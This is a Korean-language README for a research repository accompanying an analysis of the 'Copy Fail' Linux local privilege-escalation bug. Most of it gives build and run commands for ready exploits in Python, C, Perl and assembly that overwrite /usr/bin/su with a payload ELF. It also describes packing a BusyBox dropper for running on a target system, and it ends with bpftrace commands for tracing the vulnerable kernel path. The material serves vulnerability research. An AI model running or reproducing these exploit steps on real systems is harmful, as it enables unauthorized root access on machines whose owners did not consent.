
https://4xura.com/binex/kernel/copy-fail의 Copy Fail Linux 로컬 권한 상승 글에 대한 연구 산출물, PoC 스크립트 및 랩 자산.
CopyFail 분석 자료 및 스크립트입니다.
심층 분석 가이드:
proof-of-concept/ 디렉토리에는 분석에서 사용된 기본(primitive) 데모가 포함되어 있습니다.exploit-scripts/ 디렉토리에는 Python, C, Perl, x86_64 어셈블리로 작성된 전체 익스플로잇 구현체가 포함되어 있습니다.bpftrace-scripts/ 디렉토리에는 런타임 분석 중 사용된 소형 트레이싱 도우미가 포함되어 있습니다.Perl, 어셈블리 및 BusyBox 아티팩트만 외부 교체 ELF가 필요합니다. 아래 예제에서는 해당 파일이 payload.pwnkit.elf로 명명되어 있지만, 어떤 파일 이름이든 상관없습니다.
해당 페이로드는 이 저장소 내에서 생성되지 않습니다. 먼저 분석 문서의 페이로드 워크플로우를 따라 빌드한 후, 결과 ELF를 실행하려는 아티팩트와 동일한 작업 디렉토리에 배치하십시오.
기본 PoC와 Python/C 익스플로잇 드라이버는 수정 없이 바로 실행 가능합니다.
이 PoC는 주로 분석 문서에서 시연용입니다. 전체 교체-실행 워크플로우가 아닌 덮어쓰기 기본 요소만 별도로 보여줍니다.
Python 데모를 실행하려면 PoC 디렉토리로 이동하여 다음 스크립트를 실행하십시오:
cd proof-of-concept
python3 copyfail_poc.py
C 데모를 실행하려면 먼저 빌드한 후 결과 바이너리를 실행하십시오:
cd proof-of-concept
gcc -Wall -Wextra -O2 -o copyfail_poc copyfail_poc.c
./copyfail_poc
Python 익스플로잇은 자체 포함되어 있으며 교체 바이트를 스크립트 자체에 보관합니다.
익스플로잇 디렉토리로 이동하여 기본 대상 경로를 실행하십시오:
cd exploit-scripts
python3 exploit.py
다른 대상 기본 이름을 원하면 첫 번째 인수로 전달하십시오. 청크별 덮어쓰기 로그를 활성화하려면 DEBUG=1을 설정하십시오:
python3 exploit.py su
DEBUG=1 python3 exploit.py su
C 익스플로잇도 자체 포함되어 있습니다. 다른 교체를 준비하려면 먼저 exploit-scripts/exploit.c에서 PAYLOAD_BYTES를 편집하십시오.
정적(선택 사항) 바이너리를 다음과 같이 빌드하십시오:
cd exploit-scripts
gcc -static -Wall -Wextra -O2 -o exploit exploit.c -lz
그런 다음 기본 대상을 실행하거나 다른 기본 이름을 전달하십시오. 디버그 로깅은 DEBUG=1을 통해 제어됩니다:
./exploit
./exploit su
DEBUG=1 ./exploit su
이 버전은 스크립트에 교체 바이트를 포함하지 않고 외부 ELF 페이로드를 읽습니다.
익스플로잇 디렉토리에서 실행하십시오. 추가 인수가 없으면 기본 대상과 기본 페이로드 경로를 사용합니다:
cd exploit-scripts
perl exploit.pl
취약 대상 경로와 페이로드 ELF를 명시적으로 선택하려면 인수로 전달하십시오. 디버그 로깅도 DEBUG=1을 통해 제어됩니다:
perl exploit.pl /usr/bin/su ./payload.pwnkit.elf
DEBUG=1 perl exploit.pl /usr/bin/su ./payload.pwnkit.elf
이 버전도 외부 ELF 페이로드를 사용합니다. 아래 예제에서는 payload.pwnkit.elf로 명명되어 있지만, 어떤 파일 이름이든 사용할 수 있습니다. 이름을 변경하는 경우 exploit-scripts/exploit.asm의 incbin 라인을 일치하도록 업데이트하십시오.
nasm과 ld로 어셈블리 드라이버를 빌드하십시오:
cd exploit-scripts
nasm -f elf64 exploit.asm -o exploit.o
ld -o exploit_asm exploit.o
그런 다음 기본 대상을 실행하거나 전체 대상 경로를 전달하십시오:
./exploit_asm
./exploit_asm /usr/bin/su
이것은 어셈블리 드라이버와 외부 페이로드 ELF를 하나의 BusyBox 호환 러너로 패킹합니다. 아래 예제는 payload.pwnkit.elf를 사용하지만, 패커에 동일한 경로를 전달하기만 하면 어떤 페이로드 파일 이름이든 괜찮습니다.
익스플로잇 디렉토리에서 드로퍼를 생성하십시오:
cd exploit-scripts
sh mk_busybox_dropper.sh ./exploit_asm ./payload.pwnkit.elf > copyfail-busybox.sh
chmod +x copyfail-busybox.sh
대상 시스템에서 BusyBox sh로 생성된 스크립트를 실행하십시오:
busybox sh ./copyfail-busybox.sh /usr/bin/su
트레이싱 도우미를 실행하기 전에 관련 심볼을 사용할 수 있는지 확인하십시오:
sudo cat /proc/kallsyms | grep -E 'filemap_splice_read|splice_folio_into_pipe|af_alg_sendmsg|extract_iter_to_sg|crypto_authenc_esn_decrypt|scatterwalk_map_and_copy'
파일 페이지가 스플라이스 경로로 진입하는 것을 관찰하려면 다음을 실행하십시오:
sudo bpftrace ./bpftrace-scripts/bpftrace-filemap-splice.bt
파이프 기반 데이터가 AF_ALG에 도달하는 것을 관찰하려면 다음을 실행하십시오:
sudo bpftrace ./bpftrace-scripts/bpftrace-af-alg-sendmsg.bt
취약한 authencesn 복호화 콜백을 관찰하려면 다음을 실행하십시오:
sudo bpftrace ./bpftrace-scripts/bpftrace-authencesn-decrypt.bt